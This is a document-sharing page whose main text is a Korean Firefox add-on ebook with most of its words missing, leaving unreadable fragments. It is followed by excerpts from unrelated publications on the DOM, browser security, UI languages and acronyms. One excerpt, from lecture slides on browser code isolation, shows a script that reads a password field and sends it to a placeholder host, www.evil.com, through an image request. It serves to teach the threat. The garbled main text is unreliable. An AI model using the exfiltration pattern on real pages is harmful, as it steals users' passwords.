DOCSLIB.ORG

Firefox-Addon

Total Page：16

File Type：pdf, Size：1020Kb

Download full-text PDF Read full-text
Firefox-Addon firefox-addon #firefox- addon 1 1: firefox-addon 2 Examples 2 2 : 2 2 WebExtensions 2 2 Firefox 3 3 WebExtensions 4 Firefox Add-on SDK 4 / Restartless 4 / / XUL 4 4 5 5 : 5 ( ) 5 6 You can share this PDF with anyone you feel could benefit from it, downloaded the latest version from: firefox-addon It is an unofficial and free firefox-addon ebook created for educational purposes. All the content is extracted from Stack Overflow Documentation, which is written by many hardworking individuals at Stack Overflow. It is neither affiliated with Stack Overflow nor official firefox-addon. The content is released under Creative Commons BY-SA, and the list of contributors to each chapter are provided in the credits section at the end of this book. Images may be copyright of their respective owners unless otherwise specified. All trademarks and registered trademarks are the property of their respective company owners. Use the content presented in this book at your own risk; it is not guaranteed to be correct nor accurate, please send your feedback and corrections to [email protected] https://riptutorial.com/ko/home 1 1: firefox-addon Examples : " " . Firefox Firefox . • , . • Firefox • Firefox • Firefox API . WebExtensions , . Mozilla WebExtensions Firefox , WebExtensions Firefox 57 (2017-11-14 ) . ( ). • WebExtensions : WebExtensions Firefox . manifest.json . API Google . HTML CSS . Mozilla API Firefox API . Firefox Developer Edition Firefox Nightly WebExtension . Firefox . MDN " " . WebExtensions API . • SDK : [ deprecated; ] jpm init package.json . Firefox API require() require() . HTML CSS . jpm run (, AMO / Mozilla ) jpm xpi xpi .xpi . , SDK . Mozilla require("chrome") XUL , XPCOM XBL Add-on SDK . SDK . SDK SDK . • : [ . ] / Mozilla " ". , (restartless) . "restartless" . SDK WebExtension . , "" . HTML CSS . XUL Firefox . bootstrap.js JavaScript startup() , shutdown() , install() uninstall() () . install.rdf . Mozilla ( : Firefox) chrome.manifest . https://riptutorial.com/ko/home 2 / XUL / . SDK ( SDK JavaScript API ). " XUL , XPCOM XBL " . SDK WebExtension . Add-on SDK require("chrome") XUL, XPCOM XBL SDK SDK . • / XUL / : [ . ] install.rdf ( : ) chrome.manifest . chrome.manifest . install.rdf . ( : Firefox) . Javascript XUL, HTML CSS . XPCOM XBL . Overlay / XUL / Legacy . Firefox . Firefox . • ( ) Firefox . CSS . " " . • Android Firefox . , Firefox . • . • . • Firefox . • . "" Makyen 's stackoverflow . Mozilla Developer Network (MDN) Add-on . Makyen firefox-addon "Remarks" . Ondřej Doněk "for" . "" "" "" . Firefox . : 1. about:debugging 2. " " . 3. 4. 5. "" . about:debugging "aaaaaaaaaaaaaaaaaa - demo add-on" about:addons . https://riptutorial.com/ko/home 3 , ( .xpi ) .png .xpi . Firefox . Mozilla : Firefox WebExtensions WebExtensions . .xpi . Firefox Add-on SDK jpm xpi xpi .xpi Firefox SDK . jpm run Firefox Add-on SDK . Add-on SDK package.json install.rdf chrome.manifest . Firefox SDK / . Firefox . jpm xpi xpi .xpi . jpm run Firefox . / Restartless Bootstrap / Restartless . .xpi . / / XUL / / XUL . Firefox Release Beta Extension 48 Extension Mozilla . AMO . Firefox . 43 Firefox Mozilla . Mozilla . about:config xpinstall.signatures.required false Firefox ( : Firefox Developer Edition , Firefox https://riptutorial.com/ko/home 4 Nightly , Unbranded Beta Unbranded Release ) Extension . 43-48 . 48 Firefox . Firefox . Firefox . Firefox . Firefox . 1. 2. ( ) : Firefox . 3. jpm run ( Add-on SDK ) : Firefox . 4. web-ext run ( WebExtensions ) : Firefox . (, .xpi ) Firefox . AMO . ( , , , OS ) . Firefox .xpi . Windows Windows . , Firefox Firefox / . .xpi <Firefox install directory>/browser/extensions jpm run (Firefox SDK ) . / , ( / / install.rdf <em:id> ) <em:id> ) . ( ). Firefox . : Firefox Release Beta Extension 48 Extension Mozilla . AMO . Firefox . 43 Firefox Mozilla . Mozilla . about:config xpinstall.signatures.required false Firefox ( : Firefox Developer Edition , Firefox Nightly , Unbranded Beta Unbranded Release ) Extension . 43-48 . 48 Firefox . Firefox . Firefox ? . Firefox . Firefox . Firefox . Firefox . ( ) WebExtensions, Firefox Add-on SDK Restartless / Bootstrap about:debugging Temporary Add- ons . Firefox . ( ) ( : .xpi ) . firefox-addon : https://riptutorial.com/ko/firefox-addon/topic/3235/firefox-addon- https://riptutorial.com/ko/home 5 S. Contributors No 1 firefox-addon Community, Makyen, Martin Zhai, nus, Ondřej Doněk, Priya https://riptutorial.com/ko/home 6.
Load more

Recommended publications
  • Childnodes 1
    Index Home | Projects | Docs | Jargon Bugzilla | LXR | Tree Status | Checkins Feedback | FAQ | Search A - B - C - D - E - F - G - H - I - J - K - L - M - N - O - P - Q - R - S - T - U - V - W - X - Y - Z Index Symbols _content 1 A addEventListener 1 alert() 1 align 1 alinkColor 1 anchors 1 appCodeName 1 appendChild 1 applets 1 appName 1 appVersion 1 attributes 1, 2 http://www.mozilla.org/docs/dom/domref/dom_shortIX.html (1 de 20) [09/06/2003 9:55:09] Index availLeft 1 availTop 1 availWidth 1 B back() 1 bgColor 1 blur 1 blur() 1 body 1 C captureEvents() 1 characterSet 1 childNodes 1 clear 1 clearInterval() 1 clearTimeout() 1 click 1 cloneContents 1 cloneNode 1 cloneRange 1 close 1 http://www.mozilla.org/docs/dom/domref/dom_shortIX.html (2 de 20) [09/06/2003 9:55:09] Index close() 1 closed 1 collapse 1 collapsed 1 colorDepth 1 commonAncestorContainer 1 compareBoundaryPoints 1 Components 1 confirm() 1 contentDocument 1, 2 contentWindow 1, 2 controllers 1 cookie 1 cookieEnabled 1 createAttribute 1 createDocumentFragment 1 createElement 1 createRange 1 createTextNode 1 crypto 1 cssRule 1 cssRule Object 1 http://www.mozilla.org/docs/dom/domref/dom_shortIX.html (3 de 20) [09/06/2003 9:55:09] Index cssRules 1 cssText 1 D defaultStatus 1 deleteContents 1 deleteRule 1 detach 1 directories 1 disabled 1 dispatchEvent 1 doctype 1 document 1 documentElement 1 DOM 1, 2 DOM 2 Range Interface 1 DOM window Interface 1 domain 1 dump() 1 E Elements Interface 1 embeds 1 http://www.mozilla.org/docs/dom/domref/dom_shortIX.html (4 de 20) [09/06/2003 9:55:09]
    [Show full text]
  • Browser Code Isolation
    CS 155 Spring 2014 Browser code isolation John Mitchell Modern web sites are complex Modern web “site” Code from many sources Combined in many ways Sites handle sensitive information ! Financial data n" Online banking, tax filing, shopping, budgeting, … ! Health data n" Genomics, prescriptions, … ! Personal data n" Email, messaging, affiliations, … Others want this information ! Financial data n" Black-hat hackers, … ! Health data n" Insurance companies, … ! Personal data n" Ad companies, big government, … Modern web “site” Code from many sources Combined in many ways Basic questions ! How do we isolate code from different sources n" Protecting sensitive information in browser n" Ensuring some form of integrity n" Allowing modern functionality, flexible interaction Example:Library ! Library included using tag n" <script src="jquery.js"></script> ! No isolation n" Same frame, same origin as rest of page ! May contain arbitrary code n" Library developer error or malicious trojan horse n" Can redefine core features of JavaScript n" May violate developer invariants, assumptions jQuery used by 78% of the Quantcast top 10,000 sites, over 59% of the top million Second example: advertisement <script src=“https://adpublisher.com/ad1.js”></script> <script src=“https://adpublisher.com/ad2.js”></script>! ! Read password using the DOM API var c = document.getElementsByName(“password”)[0] Directly embedded third-party JavaScript poses a threat to critical hosting page resources Send it to evil location (not subject to SOP) <img src=``http::www.evil.com/info.jpg?_info_”>
    [Show full text]
  • Comparison of Common Xml-Based Web User Interface Languages
    Journal of Web Engineering, Vol. 9, No. 2 (2010) 095–115 c Rinton Press COMPARISON OF COMMON XML-BASED WEB USER INTERFACE LANGUAGES MIKKO POHJA Department of Media Technology, Aalto University P.O. Box 15400, FI-00076 Aalto, Finland mikko.pohja@hut.fi Received August 1, 2009 Revised February 25, 2010 In addition to being a platform for information access, the World Wide Web is increas- ingly becoming an application platform. While web applications have several benefits compared to desktop applications, there are also some problems. With legacy HTML, for example, one cannot produce user interfaces such as those that users have become accustomed to with desktop applications. What worked for static documents is not suf- ficient for the complicated web applications of today. Several parties have addressed this problem by defining a specific UI description language. In addition, the renewal of HTML aims to enhance support for web applications. This study evaluated five XML- based UI description formats, including HTML 5, in order to determine which language is best suited for modern web application development. The study also assessed what kind of applications are suited to each format. The requirements for a Web UI descrip- tion language from the literature were revised and three use cases were defined, through which the languages are evaluated. The paper also presents the model differences of the languages. Keywords: Web User Interface Description Language, Web Application Communicated by: D. Lowe & O. Pastor 1 Introduction Commerce and communication tasks, such as the use of e-mail, are common today on the World Wide Web (WWW), as is a trend towards realizing higher interaction tasks, such as in- formation authoring.
    [Show full text]
  • Bibliography of Erik Wilde
    dretbiblio dretbiblio Erik Wilde's Bibliography References [1] AFIPS Fall Joint Computer Conference, San Francisco, California, December 1968. [2] Seventeenth IEEE Conference on Computer Communication Networks, Washington, D.C., 1978. [3] ACM SIGACT-SIGMOD Symposium on Principles of Database Systems, Los Angeles, Cal- ifornia, March 1982. ACM Press. [4] First Conference on Computer-Supported Cooperative Work, 1986. [5] 1987 ACM Conference on Hypertext, Chapel Hill, North Carolina, November 1987. ACM Press. [6] 18th IEEE International Symposium on Fault-Tolerant Computing, Tokyo, Japan, 1988. IEEE Computer Society Press. [7] Conference on Computer-Supported Cooperative Work, Portland, Oregon, 1988. ACM Press. [8] Conference on Office Information Systems, Palo Alto, California, March 1988. [9] 1989 ACM Conference on Hypertext, Pittsburgh, Pennsylvania, November 1989. ACM Press. [10] UNIX | The Legend Evolves. Summer 1990 UKUUG Conference, Buntingford, UK, 1990. UKUUG. [11] Fourth ACM Symposium on User Interface Software and Technology, Hilton Head, South Carolina, November 1991. [12] GLOBECOM'91 Conference, Phoenix, Arizona, 1991. IEEE Computer Society Press. [13] IEEE INFOCOM '91 Conference on Computer Communications, Bal Harbour, Florida, 1991. IEEE Computer Society Press. [14] IEEE International Conference on Communications, Denver, Colorado, June 1991. [15] International Workshop on CSCW, Berlin, Germany, April 1991. [16] Third ACM Conference on Hypertext, San Antonio, Texas, December 1991. ACM Press. [17] 11th Symposium on Reliable Distributed Systems, Houston, Texas, 1992. IEEE Computer Society Press. [18] 3rd Joint European Networking Conference, Innsbruck, Austria, May 1992. [19] Fourth ACM Conference on Hypertext, Milano, Italy, November 1992. ACM Press. [20] GLOBECOM'92 Conference, Orlando, Florida, December 1992. IEEE Computer Society Press. http://github.com/dret/biblio (August 29, 2018) 1 dretbiblio [21] IEEE INFOCOM '92 Conference on Computer Communications, Florence, Italy, 1992.
    [Show full text]
  • Kinect Based Painter
    PiccasoNect – - Kinect based Painter Introduction Kinect is a line of motion sensing input devices by Microsoft for Xbox 360 and Xbox One video game consoles and Windows PCs. Based around a webcam-style add-on peripheral, it enables users to control and interact with their console/computer without the need for a game controller, through a natural user interface using gestures and spoken commands. Kinect sensor is based on Prime-Sense technology and there are similar sensors on the market such as Asus Xtion and PrimeSense Carmine. (http://en.wikipedia.org/wiki/Kinect) Windows Presentation Foundation (or WPF) is a graphical subsystem for rendering user interfaces in Windows-based applications by Microsoft. WPF attempts to provide a consistent programming model for building applications and separates the user interface from business logic. It resembles similar XML-oriented object models, such as those implemented in XUL and SVG. (http://en.wikipedia.org/wiki/Windows_Presentation_Foundation) Overview In the project we developed a WPF application which allows the user to create a painting using his hands with minimal interactions with the mouse and keyboard. Using the Kinect, the application follows the user's hands movements, and translates them to a brush strokes. The application allows the user to select a brush from several rendering methods. Application requirements Capture user movements using Kinect sensor Paint the desired brush according to the user hands movements Enable several rendering options to choose from Option to save and send via email the finished painting Project Infrastructure The project is A WPF application, based on Microsoft Kinect SDK 1.7.
    [Show full text]
  • Two Case Studies of Open Source Software Development: Apache and Mozilla
    Two Case Studies of Open Source Software Development: Apache and Mozilla AUDRIS MOCKUS Avaya Labs Research ROY T FIELDING Day Software and JAMES D HERBSLEB Carnegie Mellon University According to its proponents, open source style software development has the capacity to compete successfully, and perhaps in many cases displace, traditional commercial development methods. In order to begin investigating such claims, we examine data from two major open source projects, the Apache web server and the Mozilla browser. By using email archives of source code change history and problem reports we quantify aspects of developer participation, core team size, code ownership, productivity, defect density, and problem resolution intervals for these OSS projects. We develop several hypotheses by comparing the Apache project with several commercial projects. We then test and refine several of these hypotheses, based on an analysis of Mozilla data. We conclude with thoughts about the prospects for high-performance commercial/open source process hybrids. Categories and Subject Descriptors: D.2.9 [Software Engineering]— Life cycle, Productivity, Pro- gramming teams, Software process models, Software Quality assurance, Time estimation; D.2.8 [Software Engineering]— Process metrics, Product metrics; K.6.3 [Software Management]— Software development, Software maintenance, Software process General Terms: Management, Experimentation, Measurement, Human Factors Additional Key Words and Phrases: Open source software, defect density, repair interval, code ownership, Apache, Mozilla This work was done while A. Mockus and J. D. Herbsleb were members of software Production Research Department at Lucent Technologies’ Bell Laboratories. This article is a significant extension to the authors’ paper, “A case study of open source software development: the Apache server,” that appeared in the Proceedings of the 22nd International Con- ference on Software Engineering, Limerick, Ireland, June 2000 (ICSE 2000), 263-272.
    [Show full text]
  • Security Analysis of Firefox Webextensions
    6.857: Computer and Network Security Due: May 16, 2018 Security Analysis of Firefox WebExtensions Srilaya Bhavaraju, Tara Smith, Benny Zhang srilayab, tsmith12, felicity Abstract With the deprecation of Legacy addons, Mozilla recently introduced the WebExtensions API for the development of Firefox browser extensions. WebExtensions was designed for cross-browser compatibility and in response to several issues in the legacy addon model. We performed a security analysis of the new WebExtensions model. The goal of this paper is to analyze how well WebExtensions responds to threats in the previous legacy model as well as identify any potential vulnerabilities in the new model. 1 Introduction Firefox release 57, otherwise known as Firefox Quantum, brings a large overhaul to the open-source web browser. Major changes with this release include the deprecation of its initial XUL/XPCOM/XBL extensions API to shift to its own WebExtensions API. This WebExtensions API is currently in use by both Google Chrome and Opera, but Firefox distinguishes itself with further restrictions and additional functionalities. Mozilla’s goals with the new extension API is to support cross-browser extension development, as well as offer greater security than the XPCOM API. Our goal in this paper is to analyze how well the WebExtensions model responds to the vulnerabilities present in legacy addons and discuss any potential vulnerabilities in the new model. We present the old security model of Firefox extensions and examine the new model by looking at the structure, permissions model, and extension review process. We then identify various threats and attacks that may occur or have occurred before moving onto recommendations.
    [Show full text]
  • A Review of XML-Compliant User Interface Description Languages
    ÊÚÛ Ó ÅĹ ÓÑÔÐÒØ Í×Ö ÁÒØÖ ×ÖÔØÓÒ ÄÒÙ× ÆØÐ ËÓÙÓÒ Ò ÂÒ ÎÒÖÓÒØ ÍÒÚÖ×Ø Ø ÓÐÕÙ ÄÓÙÚ Ò¸ ÁÒ×ØØÙØ ³ÑÒ×ØÖ ØÓÒ Ø ×ØÓÒ ÈÐ × ÓÝÒ׸ ½ ¹ ¹½¿ ! ÄÓÙÚ Ò¹Ð ¹ÆÙÚ¸ Ð#ÙÑ ×ÓÙÓÒ¸ Ú Ò Ö ÓÒ Ø×Ý׺Ùк º ×ØÖغ ÖÚÛ Ó% &ÅĹ ÓÑÔÐ ÒØ Ù×Ö ÒØÖ% × ÖÔØÓÒ Ð Ò¹ #Ù #× × ÔÖÓ Ù Ø Ø ÓÑÔ Ö× ×#Ò¬ ÒØ×Ð ØÓÒÓ%Ú ÖÓÙ× Ð Ò¹ #Ù #× Ö××Ò# «ÖÒØ #Ó Ð׸ ×Ù ×ÑÙÐعÔÐ Ø%ÓÖÑ Ù×Ö ÒØÖ% ׸ Ú ¹ÒÔ ÒÒ ¸ ÓÒØÒØ ÐÚÖݸ Ò Ù×Ö ÒØÖ% × ÚÖØÙ ÐÐÝ ¹ ¬Òº Ì Ö × - Ò ÐÓÒ# ×ØÓÖÝ Ò ØÖ ØÓÒ ØÓ ØØÑÔØ ØÓ ÔØÙÖ Ø ××Ò Ó% Ù×Ö ÒØÖ% × Ø Ú ÖÓÙ× ÐÚÐ× Ó% -×ØÖ ØÓÒ %ÓÖ «Ö¹ ÒØ ÔÙÖÔ Ó×׺ Ì ÖØÙÖÒ Ó% Ø × ÕÙ×ØÓÒ ØÓ Ý # Ò× ÑÓÖ ØØÖ ØÓÒ¸ ÐÓÒ# ÛØ Ø ××ÑÒ ØÓÒ Ó% &ÅÄ Ñ Ö.ÙÔ Ð Ò#Ù #׸ Ò #Ú× -ÖØ ØÓ Ñ ÒÝ ÔÖÓÔ Ó× Ð× %ÓÖ ÒÛ Ù×Ö ÒØÖ% × ÖÔØÓÒ Ð Ò#Ù #º /ÓÒ×¹ ÕÙÒØÐݸ Ø Ö × Ò ØÓ ÓÒÙ Ø Ò Ò¹ÔØ Ò ÐÝ×× Ó% % ØÙÖ× Ø Ø Ñ . ÐÐ Ø × ÔÖÓÔ Ó× Ð× × ÖÑÒ ÒØ Ò ÔÔÖÓÔÖ Ø %ÓÖ ÒÝ×Ô ¬ ÔÙÖÔ Ó׺ Ì ÖÚÛ × ÜØÒ×ÚÐÝ ÓÒÙ Ø ÓÒ ×#Ò¬ ÒØ ×Ù-×Ø Ó% ×Ù Ð Ò#Ù #× - × ÓÒ Ò Ò ÐÝ×× #Ö Ò Ù×Ö ÒØÖ% × Ø Ø Û ØÖ ØÓ ÑÔÐÑÒØ ÖÓ×× Ø × Ð Ò#Ù #׺ ½ ÁÒØÖÓ Ù Ø ÓÒ ÓÖ ÝÖ׸ ÀÙÑÒ¹ÓÑÔÙØÖ ÁÒØÖØÓÒ ´ÀÁµ ÛØÒ×× Ô ÖÒÒÐ Ö ÓÖ Ø ÙÐØÑØ Í×Ö ÁÒØÖ ´ÍÁµ ×ÖÔØÓÒ ÄÒÙ ØØ ÛÓÙÐ ÐÐÝ Ô¹ ØÙÖ Ø ××Ò Ó ÛØ ÍÁ ÓÙÐ ÓÖ ×ÓÙÐ º ÍÁ ×ÖÔØÓÒ ÄÒÙ ´ÍÁĵ ÓÒ××Ø× Ó ¹ÐÚÐ ÓÑÔÙØÖ ÐÒÙ ÓÖ ×ÖÒ ÖØÖ×¹ Ø× Ó ÒØÖ×Ø Ó ÍÁ ÛØ Ö×Ô Ø ØÓ Ø Ö×Ø Ó Ò ÒØÖØÚ ÔÔÐØÓÒº ËÙ ÐÒÙ ÒÚÓÐÚ× ¬ÒÒ ×ÝÒØÜ ´ºº ÓÛ Ø× ÖØÖ×Ø× Ò ÜÔÖ×× Ò ØÖÑ× Ó Ø ÐÒÙµ Ò ×ÑÒØ× ´ºº¸ ÛØ Ó Ø× ÖØÖ¹ ×Ø× ÑÒ Ò Ø ÖÐ ÛÓÖеº ÁØ Ò ÓÒ×Ö × ÓÑÑÓÒ ÛÝ ØÓ ×Ô Ý ÍÁ ÒÔ ÒÒØÐÝ Ó ÒÝ ØÖØ ÐÒÙ ´ºº¸ ÔÖÓÖÑÑÒ ÓÖ ÑÖÙÔµ ØØ ÛÓÙÐ ×ÖÚ ØÓ ÑÔÐÑÒØ Ø× ÍÁº Ì ××Ù Ó ÍÁÄ Û× ¬Ö×Ø Ö× ÛÒ Ø Û× ÖÕÙÖ ØÓ ÚÐÓÔ ÍÁ Ð ÑÓ ÙÐ Ó Ò ÒØÖØÚ ÔÔÐØÓÒ ÖØÖ ØÒ ÑÖÐÝ ×Ö× Ó ÐÒ× Ó ×º ÌÒ¸ Ø× ××Ù Û× ÖÒÓÖ ÛÒ Ø ×Ö ÔÔ Ö× ØÓ ÑÓ Ð ÍÁ Ý×ØÓ ×Ô ¬ØÓÒ× ×Ó ×
    [Show full text]
  • Cross Site Scripting Attacks Xss Exploits and Defense.Pdf
    436_XSS_FM.qxd 4/20/07 1:18 PM Page ii 436_XSS_FM.qxd 4/20/07 1:18 PM Page i Visit us at www.syngress.com Syngress is committed to publishing high-quality books for IT Professionals and deliv- ering those books in media and formats that fit the demands of our customers. We are also committed to extending the utility of the book you purchase via additional mate- rials available from our Web site. SOLUTIONS WEB SITE To register your book, visit www.syngress.com/solutions. Once registered, you can access our [email protected] Web pages. There you may find an assortment of value- added features such as free e-books related to the topic of this book, URLs of related Web sites, FAQs from the book, corrections, and any updates from the author(s). ULTIMATE CDs Our Ultimate CD product line offers our readers budget-conscious compilations of some of our best-selling backlist titles in Adobe PDF form. These CDs are the perfect way to extend your reference library on key topics pertaining to your area of expertise, including Cisco Engineering, Microsoft Windows System Administration, CyberCrime Investigation, Open Source Security, and Firewall Configuration, to name a few. DOWNLOADABLE E-BOOKS For readers who can’t wait for hard copy, we offer most of our titles in downloadable Adobe PDF form. These e-books are often available weeks before hard copies, and are priced affordably. SYNGRESS OUTLET Our outlet store at syngress.com features overstocked, out-of-print, or slightly hurt books at significant savings. SITE LICENSING Syngress has a well-established program for site licensing our e-books onto servers in corporations, educational institutions, and large organizations.
    [Show full text]
  • Visual Validation of SSL Certificates in the Mozilla Browser Using Hash Images
    CS Senior Honors Thesis: Visual Validation of SSL Certificates in the Mozilla Browser using Hash Images Hongxian Evelyn Tay [email protected] School of Computer Science Carnegie Mellon University Advisor: Professor Adrian Perrig Electrical & Computer Engineering Engineering & Public Policy School of Computer Science Carnegie Mellon University Monday, May 03, 2004 Abstract Many internet transactions nowadays require some form of authentication from the server for security purposes. Most browsers are presented with a certificate coming from the other end of the connection, which is then validated against root certificates installed in the browser, thus establishing the server identity in a secure connection. However, an adversary can install his own root certificate in the browser and fool the client into thinking that he is connected to the correct server. Unless the client checks the certificate public key or fingerprint, he would never know if he is connected to a malicious server. These alphanumeric strings are hard to read and verify against, so most people do not take extra precautions to check. My thesis is to implement an additional process in server authentication on a browser, using human recognizable images. The process, Hash Visualization, produces unique images that are easily distinguishable and validated. Using a hash algorithm, a unique image is generated using the fingerprint of the certificate. Images are easily recognizable and the user can identify the unique image normally seen during a secure AND accurate connection. By making a visual comparison, the origin of the root certificate is known. 1. Introduction: The Problem 1.1 SSL Security The SSL (Secure Sockets Layer) Protocol has improved the state of web security in many Internet transactions, but its complexity and neglect of human factors has exposed several loopholes in security systems that use it.
    [Show full text]
  • Design Decisions for a Structured Front End to LATEX Documents
    Design decisions for a structured front end to LATEX documents Barry MacKichan MacKichan Software, Inc. barry dot mackichan at mackichan dot com 1 Logical design Procedural Scientific WorkPlace and Scientific Word are word processors that have been designed from the start to TeX handle mathematics gracefully. Their design philos- PostScript ophy is descended from Brian Reid’s Scribe,1 which emphasized the separation of content from form and 2 was also an inspiration for LATEX. This logical de- sign philosophy holds that the author of a document should concern him- or herself with the content of the document, and with identifying the role that each bit of text plays, such as a header, a footnote, Structured or a quote. The details of formatting should be ig- Unstructured nored by the author, and handled instead by a pre- defined (or custom) style specification. LaTeX There are several very compelling reasons for the separation of content from form. • The expertise of the author is in the content; PDF the expertise of the publisher is in the presen- tation. Declarative • Worrying and fussing about the presentation is wasted effort when done by the author, since Thus, PostScript is a powerful programming the publisher will impose its own formatting on language, but it was later supplemented by PDF, the paper. which is not a programming language, but instead contains declarations of where individual characters • Applying formatting algorithmically is the eas- are placed. PDF is not structured, but Adobe has iest way to assure consistency of presentation. been adding a structural overlay. LATEX is quite • When a document is re-purposed it can be re- structured, but it still contains visible signs of the formatted automatically for its new purpose.
    [Show full text]
  • IT Acronyms.Docx
    List of computing and IT abbreviations /.—Slashdot 1GL—First-Generation Programming Language 1NF—First Normal Form 10B2—10BASE-2 10B5—10BASE-5 10B-F—10BASE-F 10B-FB—10BASE-FB 10B-FL—10BASE-FL 10B-FP—10BASE-FP 10B-T—10BASE-T 100B-FX—100BASE-FX 100B-T—100BASE-T 100B-TX—100BASE-TX 100BVG—100BASE-VG 286—Intel 80286 processor 2B1Q—2 Binary 1 Quaternary 2GL—Second-Generation Programming Language 2NF—Second Normal Form 3GL—Third-Generation Programming Language 3NF—Third Normal Form 386—Intel 80386 processor 1 486—Intel 80486 processor 4B5BLF—4 Byte 5 Byte Local Fiber 4GL—Fourth-Generation Programming Language 4NF—Fourth Normal Form 5GL—Fifth-Generation Programming Language 5NF—Fifth Normal Form 6NF—Sixth Normal Form 8B10BLF—8 Byte 10 Byte Local Fiber A AAT—Average Access Time AA—Anti-Aliasing AAA—Authentication Authorization, Accounting AABB—Axis Aligned Bounding Box AAC—Advanced Audio Coding AAL—ATM Adaptation Layer AALC—ATM Adaptation Layer Connection AARP—AppleTalk Address Resolution Protocol ABCL—Actor-Based Concurrent Language ABI—Application Binary Interface ABM—Asynchronous Balanced Mode ABR—Area Border Router ABR—Auto Baud-Rate detection ABR—Available Bitrate 2 ABR—Average Bitrate AC—Acoustic Coupler AC—Alternating Current ACD—Automatic Call Distributor ACE—Advanced Computing Environment ACF NCP—Advanced Communications Function—Network Control Program ACID—Atomicity Consistency Isolation Durability ACK—ACKnowledgement ACK—Amsterdam Compiler Kit ACL—Access Control List ACL—Active Current
    [Show full text]